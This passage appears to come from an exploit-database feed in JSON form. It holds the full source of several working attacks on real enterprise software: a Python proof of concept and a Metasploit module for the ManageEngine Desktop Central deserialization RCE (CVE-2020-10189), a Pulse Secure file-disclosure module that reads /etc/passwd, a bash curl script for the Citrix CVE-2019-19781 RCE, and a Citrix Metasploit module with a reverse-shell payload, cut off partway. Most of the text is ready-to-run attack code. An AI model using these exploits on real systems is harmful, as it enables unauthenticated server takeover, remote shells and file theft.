removeInvalidCharactersInFileName(deviceName);\n\n String localDirToStore = baseDir + File.separator + \"mdm-logs\" + File.separator + customerID\n + File.separator + deviceName + \"_\" + udid; // 3\n\n File file = new File(localDirToStore);\n if (!file.exists()) {\n file.mkdirs(); // 4\n }\n logger.log(Level.WARNING, \"absolute Dir {0} \", new Object[]{localDirToStore});\n\n fileName = fileName.toLowerCase();\n if ((fileName != null) && (FileUploadUtil.hasVulnerabilityInFileName(fileName, \"log|txt|zip|7z\"))) { // 5\n logger.log(Level.WARNING, \"MDMLogUploaderServlet : Going to reject the file upload {0}\", fileName);\n response.sendError(403, \"Request Refused\");\n return;\n }\n String absoluteFileName = localDirToStore + File.separator + fileName; // 6\n\n logger.log(Level.WARNING, \"absolute File Name {0} \", new Object[]{fileName});\n\n InputStream in = null;\n FileOutputStream fout = null;\n try {\n in = request.getInputStream(); // 7\n fout = new FileOutputStream(absoluteFileName); // 8\n\n byte[] bytes = new byte['\u2710'];\n int i;\n while ((i = in.read(bytes)) != -1) {\n fout.write(bytes, 0, i); // 9\n }\n fout.flush();\n } catch (Exception e1) {\n e1.printStackTrace();\n } finally {\n if (fout != null) {\n fout.close();\n }\n if (in != null) {\n in.close();\n }\n }\n SupportFileCreation supportFileCreation = SupportFileCreation.getInstance();\n supportFileCreation.incrementMDMLogUploadCount();\n JSONObject deviceDetails = new JSONObject();\n deviceDetails.put(\"platformType\", platformType);\n deviceDetails.put(\"dataId\", resourceID);\n deviceDetails.put(\"dataValue\", deviceName);\n supportFileCreation.removeDeviceFromList(deviceDetails);\n } else {\n logger.log(Level.WARNING,\n \"MDMLogUploaderServlet : Going to reject the file upload as the file conentent lenght is {0}\",\n nDataLength);\n response.sendError(403, \"Request Refused\");\n return;\n }\n return;\n } catch (Exception e) {\n logger.log(Level.WARNING, \"Exception \", e);\n } finally {\n if (reader != null) {\n try {\n reader.close();\n } catch (Exception ex) {\n ex.fillInStackTrace();\n }\n }\n }\n }\n```\n\n```\n private static boolean isContainDirectoryTraversal(String fileName) {\n if ((fileName.contains(\"/\")) || (fileName.contains(\"\\\\\"))) {\n return true;\n }\n return false;\n }\n\n //...\n\n public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) {\n if ((isContainDirectoryTraversal(fileName)) || (isCompletePath(fileName))\n || (!isValidFileExtension(fileName, allowedFileExt))) {\n return true;\n }\n return false;\n }\n```\n\nWe can see that at [1] the `udid` variable is controlled using the `udid` GET parameter from a POST request. At [2] the `fileName` variable is controlled from the GET parameter `filename`. This `filename` GET parameter is actually filtered in 2 different ways for malicious values. At [3] a path is contructed using the GET parameter from [1] and at [4] a `mkdirs` primitive is hit. This is important because the _charts directory doesn't exist on the filesystem which is needed in order to exploit the deserialization bug. There is some validation on the `filename` at [5] which calls `FileUploadUtil.hasVulnerabilityInFileName` to check for directory traversals and an allow list of extensions.\n\nOf course, this doesn't stop `udid` from containing directory traversals, but I digress. At [6] the `absoluteFileName` variable is built up from the attacker influenced path at [3] using the filename from [2] and at [7] the binary input stream is read from the attacker controlled POST body. Finally at [8] and [9] the file is opened and the contents of the request is written to disk. What is not apparent however, is that further validation is performed on the `filename` at [2]. Let's take one more look at the web.xml file:\n\n```config-filesecurity-regex.xml,security-mdm-regex.xml,security-mdm-api-regex.xml,security-properties.xml,security-common.xml,security-admin-sec-settings.xml,security-fws.xml,security-api.xml,security-patch-restapi.xml,security-mdm-groupdevices.xml,security-mdm-admin.xml,security-mdm-general.xml,security-mdm-agent.xml,security-mdm-reports.xml,security-mdm-inventory.xml,security-mdm-appmgmt.xml,security-mdm-docmgmt.xml,security-mdm-configuration.xml,security-defaultresponseheaders.xml,security-mdm-remote.xml,security-mdm-api-json.xml,security-mdm-api-get.xml,security-mdm-api-post.xml,security-mdm-api-put.xml,security-mdm-api-delete.xml,security-mdm-privacy.xml,security-mdm-osmgmt.xml,security-mdmapi-appmgmt.xml,security-mdmapi-profilejson.xml,security-mdmapi-profilemgmt.xml,security-mdm-compliance.xml,security-mdm-geofence.xml,security-mdmapi-sdp.xml,security-mdmp-CEA.xml,security-mdmapi-supporttab.xml,security-mdmapi-general.xml,security-mdm-roles.xml,security-mdm-technicians.xml,security-mdm-cea.xml,security-mdmapi-content-mgmt.xml,security-config.xml,security-patch.xml,security-patch-apd-scan.xml,security-patch-apd-scan-views.xml,security-patch-deployment.xml,security-patch-views.xml,security-patch-config.xml,security-patch-onpremise.xml,security-patch-server.xml,security-onpremise-common.xml,security-mdm-onpremise-files.xml,security-mdmapi-directory.xml,security-admin.xml,security-onpremise-admin.xml,security-reports.xml,security-inventory.xml,security-custom-fields.xml```\n\nThe file that stands out is the `security-mdm-agent.xml` config file. The corrosponding entry for the `MDMLogUploaderServlet` servlet looks like this:\n\n``````\n\nNote that the authentication attribute is ignored in this case. The `filename` GET parameter is restricted to the following strings: \"logger.txt\", \"logger.zip\", \"mdmlogs.zip\" and \"managedprofile_mdmlogs.zip\" using a regex pattern. For exploitation, this limitation doesn't matter since the deserialization bug permits a completely controlled filename.\n\n## Example:\n\nsaturn:~ mr_me$ ./poc.py \n(+) usage: ./poc.py(+) eg: ./poc.py 172.16.175.153 mspaint.exe\n\nsaturn:~ mr_me$ ./poc.py 172.16.175.153 \"cmd /c whoami > ../webapps/DesktopCentral/si.txt\"\n(+) planted our serialized payload\n(+) executed: cmd /c whoami > ../webapps/DesktopCentral/si.txt\n\nsaturn:~ mr_me$ curl http://172.16.175.153:8020/si.txt\nnt authority\\system\n\"\"\"\nimport os\nimport sys\nimport struct\nimport requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\ndef _get_payload(c):\n p = \"aced0005737200176a6176612e7574696c2e5072696f72697479517565756594\"\n p += \"da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400\"\n p += \"164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200\"\n p += \"2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265\"\n p += \"616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172\"\n p += \"61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e\"\n p += \"672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e\"\n p += \"732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172\"\n p += \"61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75\"\n p += \"7470757450726f706572746965737704000000037372003a636f6d2e73756e2e\"\n p += \"6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e\"\n p += \"747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d\"\n p += \"5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00\"\n p += \"0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a\"\n p += \"6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f\"\n p += \"6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072\"\n p += \"6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767\"\n p += \"db37020000787000000002757200025b42acf317f8060854e002000078700000\"\n p += \"069bcafebabe0000003200390a00030022070037070025070026010010736572\"\n p += \"69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75\"\n p += \"6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465\"\n p += \"01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162\"\n p += \"6c655461626c6501000474686973010013537475625472616e736c6574506179\"\n p += \"6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c\"\n p += \"2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73\"\n p += \"6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f\"\n p += \"73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873\"\n p += \"6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c\"\n p += \"2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469\"\n p += \"6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73\"\n p += \"756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c\"\n p += \"74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f\"\n p += \"72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65\"\n p += \"722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074\"\n p += \"696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78\"\n p += \"616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e\"\n p += \"2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d\"\n p += \"417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865\"\n p += \"2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69\"\n p += \"7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63\"\n p += \"6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64\"\n p += \"746d2f44544d417869734974657261746f723b01000768616e646c6572010041\"\n p += \"4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c\"\n p += \"2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572\"\n p += \"3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a\"\n p += \"000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f\"\n p += \"4761646765747324537475625472616e736c65745061796c6f6164010040636f\"\n p += \"6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f\"\n p += \"78736c74632f72756e74696d652f41627374726163745472616e736c65740100\"\n p += \"146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f\"\n p += \"6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f\"\n p += \"5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061\"\n p += \"796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100\"\n p += \"116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469\"\n p += \"6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a\"\n p += \"002b002e01000708003001000465786563010027284c6a6176612f6c616e672f\"\n p += \"537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033\"\n p += \"0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961\"\n p += \"6c2f50776e6572373633323838353835323036303901001f4c79736f73657269\"\n p += \"616c2f50776e657237363332383835383532303630393b002100020003000100\"\n p += \"040001001a000500060001000700000002000800040001000a000b0001000c00\"\n p += \"00002f00010001000000052ab70001b100000002000d0000000600010000002e\"\n p += \"000e0000000c000100000005000f003800000001001300140002000c0000003f\"\n p += \"0000000300000001b100000002000d00000006000100000033000e0000002000\"\n p += \"0300000001000f00380000000000010015001600010000000100170018000200\"\n p += \"19000000040001001a00010013001b0002000c000000490000000400000001b1\"\n p += \"00000002000d00000006000100000037000e0000002a000400000001000f0038\"\n p += \"00000000000100150016000100000001001c001d000200000001001e001f0003\"\n p += \"0019000000040001001a00080029000b0001000c00000024000300020000000f\"\n p += \"a70003014cb8002f1231b6003557b10000000100360000000300010300020020\"\n p += \"00000002002100110000000a000100020023001000097571007e0010000001d4\"\n p += \"cafebabe00000032001b0a000300150700170700180700190100107365726961\"\n p += \"6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505\"\n p += \"71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100\"\n p += \"0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65\"\n p += \"5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365\"\n p += \"730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164\"\n p += \"6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473\"\n p += \"2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61\"\n p += \"64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f\"\n p += \"4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f\"\n p += \"79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300\"\n p += \"2100020003000100040001001a00050006000100070000000200080001000100\"\n p += \"0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000\"\n p += \"000600010000003b000e0000000c000100000005000f00120000000200130000\"\n p += \"0002001400110000000a000100020016001000097074000450776e7270770100\"\n p += \"7871007e000d78\"\n obj = bytearray(bytes.fromhex(p))\n obj[0x240:0x242] = struct.pack(\">H\", len(c) + 0x694)\n obj[0x6e5:0x6e7] = struct.pack(\">H\", len(c))\n start = obj[:0x6e7]\n end = obj[0x6e7:]\n return start + str.encode(c) + end\n\ndef we_can_plant_serialized(t, c):\n # stage 1 - traversal file write primitive\n uri = \"https://%s:8383/mdm/client/v1/mdmLogUploader\" % t\n p = {\n \"udid\" : \"si\\\\..\\\\..\\\\..\\\\webapps\\\\DesktopCentral\\\\_chart\",\n \"filename\" : \"logger.zip\"\n }\n h = { \"Content-Type\" : \"application/octet-stream\" }\n d = _get_payload(c)\n r = requests.post(uri, params=p, data=d, verify=False)\n if r.status_code == 200:\n return True\n return False\n\ndef we_can_execute_cmd(t):\n # stage 2 - deserialization\n uri = \"https://%s:8383/cewolf/\" % t\n p = { \"img\" : \"\\\\logger.zip\" }\n r = requests.get(uri, params=p, verify=False)\n if r.status_code == 200:\n return True\n return False\n\ndef main():\n if len(sys.argv) != 3:\n print(\"(+) usage: %s\" % sys.argv[0])\n print(\"(+) eg: %s 172.16.175.153 mspaint.exe\" % sys.argv[0])\n sys.exit(1)\n t = sys.argv[1]\n c = sys.argv[2]\n if we_can_plant_serialized(t, c):\n print(\"(+) planted our serialized payload\")\n if we_can_execute_cmd(t):\n print(\"(+) executed: %s\" % c)\n\nif __name__ == \"__main__\":\n main()", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://srcincite.io/pocs/src-2020-0011.py.txt"}], "zdt": [{"lastseen": "2021-12-22T13:22:19", "description": "This Metasploit module exploits a Java deserialization vulnerability in the getChartImage() method from the FileStorage class within ManageEngine Desktop Central versions below 10.0.474. Tested against 10.0.465 x64.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-15T00:00:00", "type": "zdt", "title": "ManageEngine Desktop Central Java Deserialization Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10189"], "modified": "2020-03-15T00:00:00", "id": "1337DAY-ID-34095", "href": "https://0day.today/exploit/description/34095", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::CmdStager\n include Msf::Exploit::Powershell\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'ManageEngine Desktop Central Java Deserialization',\n 'Description' => %q{\n This module exploits a Java deserialization vulnerability in the\n getChartImage() method from the FileStorage class within ManageEngine\n Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.\n\n \"The short-term fix for the arbitrary file upload vulnerability was\n released in build 10.0.474 on January 20, 2020. In continuation of that,\n the complete fix for the remote code execution vulnerability is now\n available in build 10.0.479.\"\n },\n 'Author' => [\n 'mr_me', # Discovery and exploit\n 'wvu' # Module\n ],\n 'References' => [\n ['CVE', '2020-10189'],\n ['URL', 'https://srcincite.io/advisories/src-2020-0011/'],\n ['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],\n ['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],\n ['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']\n ],\n 'DisclosureDate' => '2020-03-05', # 0day release\n 'License' => MSF_LICENSE,\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n ['Windows Command',\n 'Arch' => ARCH_CMD,\n 'Type' => :win_cmd\n ],\n ['Windows Dropper',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :win_dropper\n ],\n ['PowerShell Stager',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :psh_stager\n ]\n ],\n 'DefaultTarget' => 2,\n 'DefaultOptions' => {\n 'RPORT' => 8383,\n 'SSL' => true,\n 'WfsDelay' => 60 # It can take a little while to trigger\n },\n 'CmdStagerFlavor' => 'certutil', # This works without issue\n 'Notes' => {\n 'PatchedVersion' => Gem::Version.new('100474'),\n 'Stability' => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?\n 'Reliability' => [FIRST_ATTEMPT_FAIL], # Payload upload may fail\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n ))\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/'])\n ])\n end\n\n def check\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'configurations.do')\n )\n\n unless res\n return CheckCode::Unknown('Target is not responding to check')\n end\n\n unless res.code == 200 && res.body.include?('ManageEngine Desktop Central')\n return CheckCode::Unknown('Target is not running Desktop Central')\n end\n\n version = res.get_html_document.at('//input[@id = \"buildNum\"]/@value')&.text\n\n unless version\n return CheckCode::Detected('Could not detect Desktop Central version')\n end\n\n vprint_status(\"Detected Desktop Central version #{version}\")\n\n if Gem::Version.new(version) < notes['PatchedVersion']\n return CheckCode::Appears(\"#{version} is an exploitable version\")\n end\n\n CheckCode::Safe(\"#{version} is not an exploitable version\")\n end\n\n def exploit\n # NOTE: Automatic check is implemented by the AutoCheck mixin\n super\n\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n case target['Type']\n when :win_cmd\n execute_command(payload.encoded)\n when :win_dropper\n execute_cmdstager\n when :psh_stager\n execute_command(cmd_psh_payload(\n payload.encoded,\n payload.arch.first,\n remove_comspec: true\n ))\n end\n end\n\n def execute_command(cmd, _opts = {})\n # XXX: An executable is required to run arbitrary commands\n cmd.prepend('cmd.exe /c ') if target['Type'] == :win_dropper\n\n vprint_status(\"Serializing command: #{cmd}\")\n\n # I identified mr_me's binary blob as the CommonsBeanutils1 payload :)\n serialized_payload = Msf::Util::JavaDeserialization.ysoserial_payload(\n 'CommonsBeanutils1',\n cmd\n )\n\n # XXX: Patch in expected serialVersionUID\n serialized_payload[140, 8] = \"\\xcf\\x8e\\x01\\x82\\xfe\\x4e\\xf1\\x7e\"\n\n # Rock 'n' roll!\n upload_serialized_payload(serialized_payload)\n deserialize_payload\n end\n\n def upload_serialized_payload(serialized_payload)\n print_status('Uploading serialized payload')\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path,\n '/mdm/client/v1/mdmLogUploader'),\n 'ctype' => 'application/octet-stream',\n 'vars_get' => {\n 'udid' => 'si\\\\..\\\\..\\\\..\\\\webapps\\\\DesktopCentral\\\\_chart',\n 'filename' => 'logger.zip'\n },\n 'data' => serialized_payload\n )\n\n unless res && res.code == 200\n fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')\n end\n\n print_good('Successfully uploaded serialized payload')\n\n # C:\\Program Files\\DesktopCentral_Server\\bin\n register_file_for_cleanup('..\\\\webapps\\\\DesktopCentral\\\\_chart\\\\logger.zip')\n end\n\n def deserialize_payload\n print_status('Deserializing payload')\n\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'cewolf/'),\n 'vars_get' => {'img' => '\\\\logger.zip'}\n )\n\n unless res && res.code == 200\n fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')\n end\n\n print_good('Successfully deserialized payload')\n end\n\nend\n", "sourceHref": "https://0day.today/exploit/34095", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-12-04T20:01:09", "description": "Exploit for multiple platform in category web applications", "cvss3": {}, "published": "2019-08-21T00:00:00", "type": "zdt", "title": "Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - Arbitrary File Disclosure Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-11510"], "modified": "2019-08-21T00:00:00", "id": "1337DAY-ID-33140", "href": "https://0day.today/exploit/description/33140", "sourceData": "# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)\r\n# Google Dork: inurl:/dana-na/ filetype:cgi\r\n# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera\r\n# Vendor Homepage: https://pulsesecure.net\r\n# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\r\n# Tested on: Linux\r\n# CVE : CVE-2019-11510 \r\nrequire 'msf/core'\r\nclass MetasploitModule < Msf::Auxiliary\r\n\tinclude Msf::Exploit::Remote::HttpClient\r\n\tinclude Msf::Post::File\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Pulse Secure - System file leak',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\tPulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.\r\n This exploit reads /etc/passwd as a proof of concept\r\n This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\r\n\t\t\t},\r\n\t\t\t'References' =>\r\n\t\t\t [\r\n\t\t\t [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]\r\n\t\t\t ],\r\n\t\t\t'Author' => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t 'DefaultOptions' =>\r\n\t\t {\r\n\t\t 'RPORT' => 443,\r\n\t\t 'SSL' => true\r\n\t\t },\r\n\t\t\t))\r\n\r\n\tend\r\n\r\n\r\n\tdef run()\r\n\t\tprint_good(\"Checking target...\")\r\n\t\tres = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)\r\n\r\n\t\tif res && res.code == 200\r\n\t\t\tprint_good(\"Target is Vulnerable!\")\r\n\t\t\tdata = res.body\r\n\t\t\tcurrent_host = datastore['RHOST']\r\n\t\t\tfilename = \"msf_sslwebsession_\"+current_host+\".bin\"\r\n\t\t\tFile.delete(filename) if File.exist?(filename)\r\n\t\t\tfile_local_write(filename, data)\r\n\t\t\tprint_good(\"Parsing file.......\")\r\n\t\t\tparse()\r\n\t\telse\r\n\t\t\tif(res && res.code == 404)\r\n\t\t\t\tprint_error(\"Target not Vulnerable\")\r\n\t\t\telse\r\n\t\t\t\tprint_error(\"Ooof, try again...\")\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\n\tdef parse()\r\n\t\tcurrent_host = datastore['RHOST']\r\n\r\n\t fileObj = File.new(\"msf_sslwebsession_\"+current_host+\".bin\", \"r\")\r\n\t words = 0\r\n\t while (line = fileObj.gets)\r\n\t \tprintable_data = line.gsub(/[^[:print:]]/, '.')\r\n\t \tarray_data = printable_data.scan(/.{1,60}/m)\r\n\t \tfor ar in array_data\r\n\t \t\tif ar != \"............................................................\"\r\n\t \t\t\tprint_good(ar)\r\n\t \t\tend\r\n\t \tend\r\n\t \t#print_good(printable_data)\r\n\r\n\t\tend\r\n\t\tfileObj.close\r\n\tend\r\nend\n\n# 0day.today [2019-12-04] #", "sourceHref": "https://0day.today/exploit/33140", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-19T23:06:56", "description": "Exploit for multiple platform in category web applications", "cvss3": {}, "published": "2020-01-11T00:00:00", "type": "zdt", "title": "Citrix Application Delivery Controller and Citrix Gateway - Remote Code Execution Vulnerability (1)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-11T00:00:00", "id": "1337DAY-ID-33794", "href": "https://0day.today/exploit/description/33794", "sourceData": "#!/bin/bash\r\n# Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway - CVE-2019-19781\r\n# Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'uname -a'\r\n# Release Date : 11/01/2020\r\n# Follow Us : https://twitter.com/ProjectZeroIN / https://github.com/projectzeroindia\r\necho \"=================================================================================\r\n ___ _ _ ____ ___ _ _\r\n| _ \\ _ _ ___ (_) ___ __ | |_ |_ / ___ _ _ ___ |_ _| _ _ __| |(_) __ _\r\n| _/| '_|/ _ \\ | |/ -_)/ _|| _| / / / -_)| '_|/ _ \\ | | | ' \\ / _' || |/ _' |\r\n|_| |_| \\___/_/ |\\___|\\__| \\__| /___|\\___||_| \\___/ |___||_||_|\\__,_||_|\\__,_|\r\n |__/ CVE-2019-19781\r\n=================================================================================\"\r\n##############################\r\nif [ -z \"$1\" ];\r\nthen\r\necho -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\\n'\r\nexit;\r\nfi\r\nfilenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);\r\ncurl -s -k \"https://$1/vpn/../vpns/portal/scripts/newbm.pl\" -d \"url=http://example.com\\&title=[%25+template.new({'BLOCK'%3d'exec(\\'$2 | tee /netscaler/portal/templates/$filenameid.xml\\')%3b'})+%25]\\&desc=test\\&UI_inuse=RfWeb\" -H \"NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid\" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is\r\necho -ne \"\\n\" ;curl -m 3 -k \"https://$1/vpn/../vpns/portal/$filenameid.xml\" -s -H \"NSC_NONCE: pwnpzi1337\" -H \"NSC_USER: pwnpzi1337\" --path-as-is\r\necho -ne \"Command Output :\\n\"\r\ncurl -m 3 -k \"https://$1/vpn/../vpns/portal/$filenameid.xml\" -H \"NSC_NONCE: pwnpzi1337\" -H \"NSC_USER: pwnpzi1337\" --path-as-is\n\n# 0day.today [2020-01-19] #", "sourceHref": "https://0day.today/exploit/33794", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-19T23:04:26", "description": "Exploit for multiple platform in category web applications", "cvss3": {}, "published": "2020-01-13T00:00:00", "type": "zdt", "title": "Citrix Application Delivery Controller and Gateway 10.5 - Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-13T00:00:00", "id": "1337DAY-ID-33806", "href": "https://0day.today/exploit/description/33806", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Citrix ADC Remote Code Execution',\r\n 'Description' => %q(\r\n An issue was discovered in Citrix Application Delivery Controller (ADC)\r\n and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.\r\n ),\r\n 'Author' => [\r\n 'RAMELLA S\u00e9bastien' # https://www.pirates.re/\r\n ],\r\n 'References' => [\r\n ['CVE', '2019-19781'],\r\n ['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],\r\n ['EDB', '47901'],\r\n ['EDB', '47902']\r\n ],\r\n 'DisclosureDate' => '2019-12-17',\r\n 'License' => MSF_LICENSE,\r\n 'Platform' => ['unix'],\r\n 'Arch' => ARCH_CMD,\r\n 'Privileged' => true,\r\n 'Payload' => {\r\n 'Compat' => {\r\n 'PayloadType' => 'cmd',\r\n 'RequiredCmd' => 'generic perl meterpreter'\r\n }\r\n },\r\n 'Targets' => [\r\n ['Unix (remote shell)',\r\n 'Type' => :cmd_shell,\r\n 'DefaultOptions' => {\r\n 'PAYLOAD' => 'cmd/unix/reverse_perl',\r\n 'DisablePayloadHandler' => 'false'\r\n }\r\n ],\r\n ['Unix (command-line)',\r\n 'Type' => :cmd_generic,\r\n 'DefaultOptions' => {\r\n 'PAYLOAD' => 'cmd/unix/generic',\r\n 'DisablePayloadHandler' => 'true'\r\n }\r\n ],\r\n ],\r\n 'DefaultTarget' => 0,\r\n 'DefaultOptions' => {\r\n 'RPORT' => 443,\r\n 'SSL' => true\r\n },\r\n 'Notes' => {\r\n 'Stability' => 